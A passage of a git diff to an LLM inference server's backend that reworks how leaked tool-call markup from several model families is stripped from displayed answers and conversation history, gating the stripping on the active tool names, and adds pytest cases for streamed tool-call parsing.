+#   3. bare orphan close (open was DRAINED)
+#   4. tail-only `</parameter>` (outer close truncated by EOS); anchored to
+#      `\Z` so mid-text `<parameter>` in user code samples survives.
+#   5. Mistral `[TOOL_CALLS]name{json}` / rehearsal `name[ARGS]{json}`: the balanced
+#      scan removes the whole call (a non-greedy regex would truncate nested JSON).
+# DeepSeek/GLM/Kimi envelopes are covered by the parser's own arms/scans, so a signal
+# we parse is never left un-stripped; the DeepSeek opener alternation is the parser's own.
 from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
 
 _TOOL_XML_RE = _re.compile(
@@ -1694,6 +1748,17 @@ _TOOL_XML_RE = _re.compile(
     r"|</(?:tool_call|function)>"
     r"|<tool_call\|>"
     r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*"
+    r"|\[/TOOL_CALLS\]"
+    # Truncated canonical array (closing ``]`` lost to EOS): the balanced scan cannot remove
+    # it, so strip its tail here.
+    r"|\[TOOL_CALLS\]\s*\[.*\Z"
+    # Named / v11 forms and bare rehearsal; arms aligned with the parser regexes.
+    r"|\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|.*?\Z)"
+    # Rehearsal: balanced/truncated body or bare marker at EOS only (prose ``foo[ARGS]``
+    # survives); NAME captured as ``reh`` for the inactive-name display gate.
+    r"|(?<!\[CALL_ID\])\b(?P<reh>[\w-]+)\[ARGS\]\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|\{.*\Z|\Z)"
+    # DeepSeek envelopes (all opener variants), Kimi section blocks, and bare Kimi calls;
+    # each arm carries a call-shaped lookahead so prose merely mentioning a marker survives.
     r"|"
     + _DS_OPEN_SRC
     + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*?(?:<｜tool▁calls▁end｜>|\Z)"
@@ -1705,6 +1770,17 @@ _TOOL_XML_RE = _re.compile(
     _re.DOTALL,
 )
 
+# Closed-only variant for segments before the last think block: the ``\Z``-anchored arms
+# would treat a segment boundary as EOS and strip prose ``foo[ARGS]``.
+_TOOL_XML_CLOSED_RE = _re.compile(
+    r"<(?:tool_call|function=[\w-]+)>.*?</(?:tool_call|function)>"
+    r"|<\|tool_call>.*?<tool_call\|>"
+    r"|</(?:tool_call|function)>"
+    r"|<tool_call\|>"
+    r"|\[/TOOL_CALLS\]",
+    _re.DOTALL,
+)
+
 
 def _gemma_strip_gate(tools) -> set:
     """Enabled tool NAMES gating the wrapper-less Gemma strip (mirrors the
@@ -1720,18 +1796,18 @@ def _gemma_strip_gate(tools) -> set:
     return names
 
 
-def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str:
-    """Combine the parser's scan-based strips (Mistral balanced-brace, gated
-    Gemma wrapper-less, GLM real-close, guarded function-XML) with
-    ``_TOOL_XML_RE`` -- the scan strips close at each call's REAL terminator so
-    literal markup inside argument values is data, not a leaked tail.
-    ``enabled_tool_names`` gates the Gemma strip; ``None`` strips every closed call."""
-    cleaned = _strip_glm_calls(
-        _strip_gemma_wrapperless_calls(_strip_mistral_closed_calls(text), enabled_tool_names),
-        final = True,
-    )
-    cleaned = _strip_function_xml_calls(cleaned, final = True)
-    return _TOOL_XML_RE.sub("", cleaned)
+def _display_tool_name_gate(active_tools):
+    """Active tool NAMES for gating the rehearsal display strip, or None when no tools
+    are enabled. ``None`` keeps the legacy strip-all behavior, mirroring the loop gate:
+    a bare ``NAME[ARGS]`` is a call only when NAME is active; without a tool list every
+    identifier stays ambiguous, so strip."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (active_tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names or None
 
 
 def _strip_tool_xml_for_display(
@@ -1740,12 +1816,56 @@ def _strip_tool_xml_for_display(
     auto_heal_tool_calls: bool,
     enabled_tool_names: Optional[set] = None,
 ) -> str:
-    """Route-level leak cleanup (Auto-Heal only). Delegates to ``_strip_tool_xml``
-    so the Mistral balanced-brace pass runs too (``_TOOL_XML_RE`` alone has no
-    ``[TOOL_CALLS]`` arm). ``enabled_tool_names`` gates the Gemma strip."""
+    """Apply route-level XML leak cleanup only when Auto-Heal is enabled.
+
+    Mirrors the parser-side segment scan: balanced strips first (Mistral, gated Gemma
+    wrapper-less, GLM real-close, guarded function-XML close at each call's REAL terminator
+    so literal markup inside a value is data), then the ``_TOOL_XML_RE`` arms cover the
+    DeepSeek / Kimi / orphan forms. ``<think>`` blocks are preserved verbatim and the
+    ``\\Z``-anchored tail arms run only on the last segment (prose ``foo[ARGS]`` before a
+    block survives). ``enabled_tool_names`` (when not None) gates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{...}`` and wrapper-less Gemma ``call:NAME{...}`` strips on the active tool
+    list; an inactive NAME is prose and is kept. The ``[TOOL_CALLS]`` control-token arms strip
+    unconditionally regardless of NAME."""
     if not auto_heal_tool_calls:
         return text
-    return _strip_tool_xml(text, enabled_tool_names)
+    from core.tool_healing import _strip_bracket_tag_calls, strip_outside_think
+
+    def _keep_inactive_rehearsal(m) -> str:
+        # Only the bare-rehearsal arm captures ``reh``; with a tool list an inactive
+        # NAME[ARGS]{...} is prose -- keep it.
+        if enabled_tool_names is not None:
+            name = m.groupdict().get("reh")
+            if name is not None and name not in enabled_tool_names:
+                return m.group(0)
+        return ""
+
+    def _strip_segment(seg: str, is_last: bool) -> str:
+        # Scan strips close at each call's REAL terminator (a literal ``</function>`` or a
+        # nested marker quoted inside a value cannot truncate the strip); the regex arms below
+        # cover the attribute form and the DeepSeek / Kimi / orphan families.
+        seg = _strip_mistral_closed_calls(seg)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_glm_calls(seg, final = is_last)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        if is_last:
+            return _TOOL_XML_RE.sub(_keep_inactive_rehearsal, seg)
+        return _TOOL_XML_CLOSED_RE.sub("", seg)
+
+    return strip_outside_think(text, _strip_segment)
+
+
+def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    # Mistral balanced-brace pre-strip (kept explicit so the regression guards see it), then
+    # the shared think-aware display strip -- the one raw _TOOL_XML_RE.sub lives inside
+    # _strip_tool_xml_for_display, so every route cleanup site shares it. ``enabled_tool_names``
+    # gates the Gemma wrapper-less strip; ``None`` strips every closed call.
+    text = _strip_mistral_closed_calls(text)
+    return _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = enabled_tool_names
+    )
 
 
 logger = get_logger(__name__)
@@ -6010,14 +6130,18 @@ async def openai_chat_completions(
             _gguf_auto_heal_tool_calls = (
                 payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
             )
+            # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+            _gguf_display_tool_names = _display_tool_name_gate(tools_to_use)
 
             # ── Strip stale tool-call XML from conversation history ─
             for _msg in gguf_messages:
                 if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
+                    # Gate on enabled tool names, like the live strip, so a documented inactive
+                    # ``foo[ARGS]{...}`` survives in the replayed prompt context.
                     _msg["content"] = _strip_tool_xml_for_display(
                         _msg["content"],
                         auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
-                        enabled_tool_names = _gemma_strip_gate(tools_to_use),
+                        enabled_tool_names = _gguf_display_tool_names,
                     ).strip()
 
             def gguf_generate_with_tools():
@@ -6151,7 +6275,7 @@ async def openai_chat_completions(
                         clean_cumulative = _strip_tool_xml_for_display(
                             raw_cumulative,
                             auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
-                            enabled_tool_names = _gemma_strip_gate(tools_to_use),
+                            enabled_tool_names = _gguf_display_tool_names,
                         )
                         new_text = clean_cumulative[len(prev_text) :]
                         prev_text = clean_cumulative
@@ -6258,7 +6382,7 @@ async def openai_chat_completions(
                             full_text = _strip_tool_xml_for_display(
                                 event.get("text", ""),
                                 auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
-                                enabled_tool_names = _gemma_strip_gate(tools_to_use),
+                                enabled_tool_names = _gguf_display_tool_names,
                             )
                     return full_text, usage, finish
                 finally:
@@ -6631,14 +6755,17 @@ async def openai_chat_completions(
     _sf_tpl = (_sf_model_info.get("chat_template_info") or {}).get("template")
     _sf_features = _detect_safetensors_features(backend, _sf_tpl)
 
-    # Split prefilled-``<think>`` output into reasoning_content deltas (GGUF parity) so the UI
-    # renders the thinking block for safetensors AND MLX.
+    # GGUF parity: enable_thinking templates prefill an unclosed <think>; split into
+    # reasoning_content deltas so the UI renders the block for safetensors and MLX.
     _sf_parse_think = bool(
         _sf_features.get("supports_reasoning") or _sf_features.get("reasoning_always_on")
     )
-    # Prefilled-open only for prefill styles with thinking on this request; gpt-oss excluded.
+    # Prefilled-open only for prefill styles with thinking on; gpt-oss uses the normal mode.
     _sf_reasoning_prefilled = _sf_reasoning_prefill_mode(
-        _sf_features, payload.enable_thinking, _sf_tpl, payload.reasoning_effort
+        _sf_features,
+        payload.enable_thinking,
+        _sf_tpl,
+        reasoning_effort = payload.reasoning_effort,
     )
 
     def _new_sf_reasoning_extractor():
@@ -6722,6 +6849,8 @@ async def openai_chat_completions(
         _sf_auto_heal_tool_calls = (
             payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
         )
+        # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+        _sf_display_tool_names = _display_tool_name_gate(_sf_tools_to_use)
 
         # Strip stale tool-call XML from prior assistant turns.
         _sf_chat_messages = []
@@ -6733,7 +6862,7 @@ async def openai_chat_completions(
                         "content": _strip_tool_xml_for_display(
                             _msg["content"],
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
-                            enabled_tool_names = _gemma_strip_gate(_sf_tools_to_use),
+                            enabled_tool_names = _sf_display_tool_names,
                         ).strip(),
                     }
                 )
@@ -6792,7 +6921,7 @@ async def openai_chat_completions(
                 reasoning_extractor = _new_sf_reasoning_extractor()
 
                 def _sf_flush_reasoning():
-                    # Drain the extractor at a turn boundary / stream end (GGUF parity); only visible text reaches the monitor.
+                    # Drain the extractor at turn/stream end (mirrors GGUF); only visible text hits the monitor.
                     fr, fv = reasoning_extractor.finish()
                     out = []
                     if fr:
@@ -6818,7 +6947,7 @@ async def openai_chat_completions(
 
                     if event["type"] == "status":
                         if not event["text"]:
-                            # Iteration boundary: flush reasoning, then start a fresh extractor for the next turn.
+                            # Iteration boundary: flush reasoning, then a fresh prefilled extractor for the next turn.
                             for _c in _sf_flush_reasoning():
                                 yield _c
                             prev_text = ""
@@ -6834,7 +6963,7 @@ async def openai_chat_completions(
 
                     if event["type"] in ("tool_start", "tool_end"):
                         if event["type"] == "tool_start":
-                            # Flush reasoning before the tool_start line so the thinking block closes ahead of the tool card.
+                            # Flush reasoning before tool_start so the thinking block closes ahead of the card.
                             for _c in _sf_flush_reasoning():
                                 yield _c
                             prev_text = ""
@@ -6847,7 +6976,7 @@ async def openai_chat_completions(
                     clean_cumulative = _strip_tool_xml_for_display(
                         raw_cumulative,
                         auto_heal_tool_calls = _sf_auto_heal_tool_calls,
-                        enabled_tool_names = _gemma_strip_gate(_sf_tools_to_use),
+                        enabled_tool_names = _sf_display_tool_names,
                     )
                     new_text = clean_cumulative[len(prev_text) :]
                     prev_text = clean_cumulative
@@ -6939,12 +7068,12 @@ async def openai_chat_completions(
                         full_text = _strip_tool_xml_for_display(
                             event.get("text", ""),
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
-                            enabled_tool_names = _gemma_strip_gate(_sf_tools_to_use),
+                            enabled_tool_names = _sf_display_tool_names,
                         )
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
-            # Split prefilled <think> reasoning out of the visible answer (GGUF parity); monitor gets visible text only.
+            # Split prefilled <think> out of the visible answer (GGUF parity); the monitor gets visible text only.
             _reasoning_text, _visible_text = _extract_responses_reasoning(
                 content_text,
                 parse_think_markers = _sf_parse_think,
@@ -7043,7 +7172,7 @@ async def openai_chat_completions(
                 yield _chat_role_chunk(completion_id, created, model_name)
 
                 prev_text = ""
-                # Split prefilled <think> into reasoning_content deltas (GGUF parity). Single turn (no per-turn reset); also serves MLX.
+                # Split prefilled <think> into reasoning_content deltas (GGUF parity); single turn, serves MLX.
                 reasoning_extractor = _new_sf_reasoning_extractor()
                 # Run the sync generator in a thread pool to avoid blocking the
                 # event loop. Critical for compare mode: two SSE requests arrive
@@ -7150,7 +7279,7 @@ async def openai_chat_completions(
             for token in generate():
                 full_text = token
 
-            # Split prefilled <think> reasoning from the visible answer (GGUF parity); also covers MLX.
+            # Split prefilled <think> reasoning (GGUF parity); also covers MLX via the shared generate().
             _reasoning_text, _visible_text = _extract_responses_reasoning(
                 full_text,
                 parse_think_markers = _sf_parse_think,
@@ -8000,8 +8129,8 @@ class _ResponsesReasoningExtractor:
         reasoning_prefilled: bool = False,
     ) -> None:
         self._buffer = ""
-        # ``reasoning_prefilled``: output begins INSIDE an unclosed ``<think>`` (Qwen3/GLM prefill),
-        # so start in reasoning to capture leading text until the first ``</think>``. Callers default False.
+        # reasoning_prefilled: the template inserts an unclosed <think>, so output begins inside
+        # the block; start in reasoning until the first close tag. Existing callers pass False.
         self._in_reasoning = reasoning_prefilled
         # Splitting requires marker parsing; a prefilled open implies it.
         self._parse_think_markers = parse_think_markers or reasoning_prefilled
@@ -8033,8 +8162,8 @@ class _ResponsesReasoningExtractor:
                     self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :]
                     self._in_reasoning = False
                     continue
-                # Hold back a trailing partial of EITHER marker: the close (clean chunk-boundary split)
-                # and a stray open (so a re-emitted ``<think>`` isn't leaked into the reasoning drawer).
+                # Hold back a trailing partial of either marker: the close (clean split across chunks)
+                # and a stray open (a re-emitted <think> is suppressed, not leaked).
                 keep = _responses_marker_holdback(
                     self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN)
                 )
@@ -9919,11 +10048,15 @@ async def anthropic_messages(
             else:
                 openai_messages.insert(0, {"role": "system", "content": _nudge})
 
-        # Strip stale tool-call XML from conversation
+        # Strip stale tool-call XML via the protected display helper (think rehearsal and [TOOL_CALLS]
+        # prose survive), gated on enabled tool names so documented inactive examples are kept.
+        _anthropic_history_gate = _display_tool_name_gate(openai_tools)
         for _msg in openai_messages:
             if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
-                _msg["content"] = _strip_tool_xml(
-                    _msg["content"], _gemma_strip_gate(openai_tools)
+                _msg["content"] = _strip_tool_xml_for_display(
+                    _msg["content"],
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _anthropic_history_gate,
                 ).strip()
 
         def _run_tool_gen():
@@ -10023,6 +10156,10 @@ async def _anthropic_tool_stream(
     """Streaming response for the tool-calling path."""
     _sentinel = object()
 
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
+
     # Prompt-token count for message_start.usage.input_tokens. count_chat_tokens
     # makes blocking HTTP calls to llama-server, so run it off the event loop.
     # Pass the tools so tool-schema tokens are counted (the generator renders
@@ -10074,9 +10211,15 @@ async def _anthropic_tool_stream(
                         captured_finish_reason = _fr
                 # Strip leaked tool-call XML from content events first, so a
                 # content event that was purely tool XML doesn't count as text.
+                # Protected helper preserves <think> rehearsal and balanced
+                # [TOOL_CALLS] trailing prose (raw _TOOL_XML_RE.sub corrupts both).
                 if etype == "content":
                     event = dict(event)
-                    event["text"] = _strip_tool_xml(event["text"], _gemma_strip_gate(openai_tools))
+                    event["text"] = _strip_tool_xml_for_display(
+                        event["text"],
+                        auto_heal_tool_calls = True,
+                        enabled_tool_names = _display_names,
+                    )
                 # disable_parallel_tool_use: keep only the first tool_use block,
                 # dropping every later tool_start and its paired tool_end (robust
                 # to empty tool-call ids — tracked by state, not id matching).
@@ -10250,6 +10393,9 @@ async def _anthropic_tool_non_streaming(
     usage = {}
     prev_text = ""
     captured_finish_reason = None
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
     # Pending client tool_use; cleared by tool_end (server execution) or
     # trailing text. See the stop_reason mapping below.
     ends_on_tool_use = False
@@ -10259,8 +10405,10 @@ async def _anthropic_tool_non_streaming(
     for event in events:
         etype = event.get("type", "")
         if etype == "content":
-            # Strip leaked tool-call XML
-            clean = _strip_tool_xml(event["text"], _gemma_strip_gate(openai_tools))
+            # Strip leaked tool XML (protected helper keeps think rehearsal and trailing prose).
+            clean = _strip_tool_xml_for_display(
+                event["text"], auto_heal_tool_calls = True, enabled_tool_names = _display_names
+            )
             new = clean[len(prev_text) :]
             prev_text = clean
             if new:
@@ -10730,13 +10878,16 @@ async def _anthropic_passthrough_non_streaming(
         text = message.get("content") or ""
         if text:
             # Keep unpromoted bytes when healing is active; legacy stripping is
-            # only for opted-out or no-client-tool requests. Use the full
-            # _strip_tool_xml pass so Mistral [TOOL_CALLS] and guarded
-            # function-XML leaks are cleaned too, not just _TOOL_XML_RE forms,
-            # with the Gemma display gate so a disabled/example call:NAME{...}
-            # in prose survives.
+            # only for opted-out or no-client-tool requests. Protected helper (not
+            # raw _TOOL_XML_RE.sub): preserves <think> rehearsal and balanced
+            # [TOOL_CALLS] trailing prose, gated on the declared tools so an
+            # inactive NAME[ARGS]{...} example in the final text is kept.
             if not healing_active:
-                text = _strip_tool_xml(text, _gemma_strip_gate(openai_tools))
+                text = _strip_tool_xml_for_display(
+                    text,
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _display_tool_name_gate(openai_tools),
+                )
             text = text.strip()
             if text:
                 content_blocks.append(AnthropicResponseTextBlock(text = text))
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index a6c1fcda9c..170b456eac 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -889,6 +889,24 @@ class TestAnthropicToolNonStreaming:
         assert tool_blocks[0]["name"] == "render_html"
         assert tool_blocks[0]["input"] == {"code": "<!doctype html><html></html>"}
 
+    def test_display_strip_gates_on_declared_tools(self):
+        # A final answer containing NAME[ARGS]{json} is gated on the declared tools: undeclared
+        # ``foo`` markup is prose and survives, the declared web_search rehearsal strips.
+        def _run_gen():
+            yield {
+                "type": "content",
+                "text": 'Try foo[ARGS]{"x": 1} but not web_search[ARGS]{"q": "hi"} here.',
+            }
+
+        tools = [{"type": "function", "function": {"name": "web_search", "parameters": {}}}]
+        response = asyncio.run(
+            _anthropic_tool_non_streaming(_run_gen, "msg_1", "m", openai_tools = tools)
+        )
+        body = json.loads(response.body)
+        text = "".join(b["text"] for b in body["content"] if b["type"] == "text")
+        assert 'foo[ARGS]{"x": 1}' in text  # inactive name preserved as prose
+        assert "web_search[ARGS]" not in text  # active name stripped from display
+
 
 # =====================================================================
 # Pass-through emitter tests (client-side tool execution path)
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
index 7b653f47aa..e3055d2127 100644
--- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -160,6 +160,20 @@ def test_json_marker_inside_xml_parameter_is_not_a_second_call():
     assert [c["function"]["name"] for c in calls] == ["python"], calls
 
 
+def test_unclosed_think_literal_inside_tool_argument_does_not_hide_later_call():
+    # A literal <think> inside a completed call's arguments is argument data; both calls must parse.
+    text = '[TOOL_CALLS]a{"x":"literal <think> marker"} b[ARGS]{"y":2}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["a", "b"], calls
+
+
+def test_real_think_block_with_rehearsal_inside_still_skips_only_the_rehearsal():
+    # A genuine reasoning block still hides its rehearsal while a real call after it parses.
+    text = '<think>web_search[ARGS]{"q":"draft"}</think>real[ARGS]{"q":"go"}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["real"], calls
+
+
 def test_wrapperless_nested_object_argument_is_parsed():
     # skip_special_tokens stream: wrapper and <|"|> markers stripped, so a nested object arrives bare.
     calls = parse_tool_calls_from_text("call:f{loc:{city:NYC},n:3}")
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index dcc759a210..9e16be2160 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -2130,6 +2130,312 @@ def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch):
     assert "prompt_tokens_details" not in metadata[-1]["usage"]
 
 
+def test_gguf_rehearsal_name_split_before_args_is_not_leaked(monkeypatch):
+    """Finding 6: a rehearsal call whose name (``web_search``) and ``[ARGS]{...}``
+    arrive in separate content deltas must hold the bare name in the buffer until
+    ``[ARGS]`` flips it to a drain. Without _is_rehearsal_prefix the GGUF path
+    streams the tool name as visible content before the call executes."""
+
+    first_stream = [
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_initial_buffer_flush_holds_split_rehearsal_name(monkeypatch):
+    """The first flush out of BUFFERING (prose plus a trailing active-tool-name in
+    the first delta, ``[ARGS]{...}`` in the next) must apply the same trailing-name
+    hold the STREAMING branch uses. The first delta has spaces so it is not a
+    rehearsal prefix and falls to the initial flush, which previously emitted the
+    bare name before the call drained."""
+
+    first_stream = [
+        _sse({"content": "I will use web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_name_after_prose_in_streaming_is_not_leaked(monkeypatch):
+    """Finding 9: the BUFFERING guard only covers a rehearsal at the turn start.
+    When prose has already streamed (STREAMING state) and the model then emits the
+    tool name and ``[ARGS]{...}`` in later deltas, the bare name must still be held,
+    not flushed as visible content before the call drains."""
+
+    first_stream = [
+        _sse({"content": "Let me think. "}),
+        _sse({"content": "I will search "}),
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+
+
+def test_gguf_plain_answer_ending_with_tool_name_word_is_preserved(monkeypatch):
+    """End-of-stream flush: a plain answer that ENDS on a tool-name word with no
+    ``[ARGS]`` following is real prose and must not be dropped by the streaming
+    rehearsal hold."""
+
+    first_stream = [
+        _sse({"content": "I think "}),
+        _sse({"content": "you should "}),
+        _sse({"content": "web_search"}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "advise"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in content_texts), content_texts
+
+
+def test_gguf_long_tool_name_split_rehearsal_is_not_capped_and_executes(monkeypatch):
+    """Finding 11: a realistic MCP name longer than the 32-char buffer cap split as
+    NAME then [ARGS]{...} must still be held (a rehearsal prefix is self-bounding),
+    so the name does not leak and the call executes."""
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= 32, len(name)
+
+    first_stream = [
+        _sse({"content": name}),
+        _sse({"content": '[ARGS]{"x":1}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [(name, {"x": 1})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(name in t for t in content_texts), content_texts
+
+
+def test_gguf_streaming_keeps_bare_args_before_think_block(monkeypatch):
+    """F4: the GGUF streaming strip must run its open-ended ``[ARGS]`` tail cleanup
+    only on the LAST segment. A bare ``foo[ARGS]`` (no JSON body, ``foo`` not a tool)
+    before a <think> block is prose, not a truncated call, so the final visible text
+    must keep it verbatim instead of dropping ``foo[ARGS]`` and corrupting the
+    sentence."""
+
+    first_stream = [
+        _sse({"content": "Please pass foo[ARGS] "}),
+        _sse({"content": "<think>pause</think> "}),
+        _sse({"content": "to the template."}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert content_texts, events
+    assert content_texts[-1] == "Please pass foo[ARGS] <think>pause</think> to the template."
+
+
+def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch):
+    """BUG A: an inactive-name ``foo[ARGS]{...}`` in a prose answer must not be treated
+    as a tool call. The BUFFERING and end-of-stream safety-net ``[ARGS]`` checks gate on
+    active tool names (like the safetensors loop and the mid-stream path), so ``foo``
+    (``web_search`` is the only enabled tool) is neither drained/parsed into a disabled
+    no-op nor forced into another generation turn."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"x":1} is just syntax.'}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # No tool executed for the inactive name; a spurious no-op re-prompt would exhaust the
+    # single supplied stream and error.
+    assert calls == [], calls
+    assert not any(e.get("type") in ("tool_start", "tool_end") for e in events), events
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive ``foo[ARGS]{...}`` is prose: the name-gated strip keeps the whole sentence.
+    assert any('foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts), content_texts
+
+
+def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose(monkeypatch):
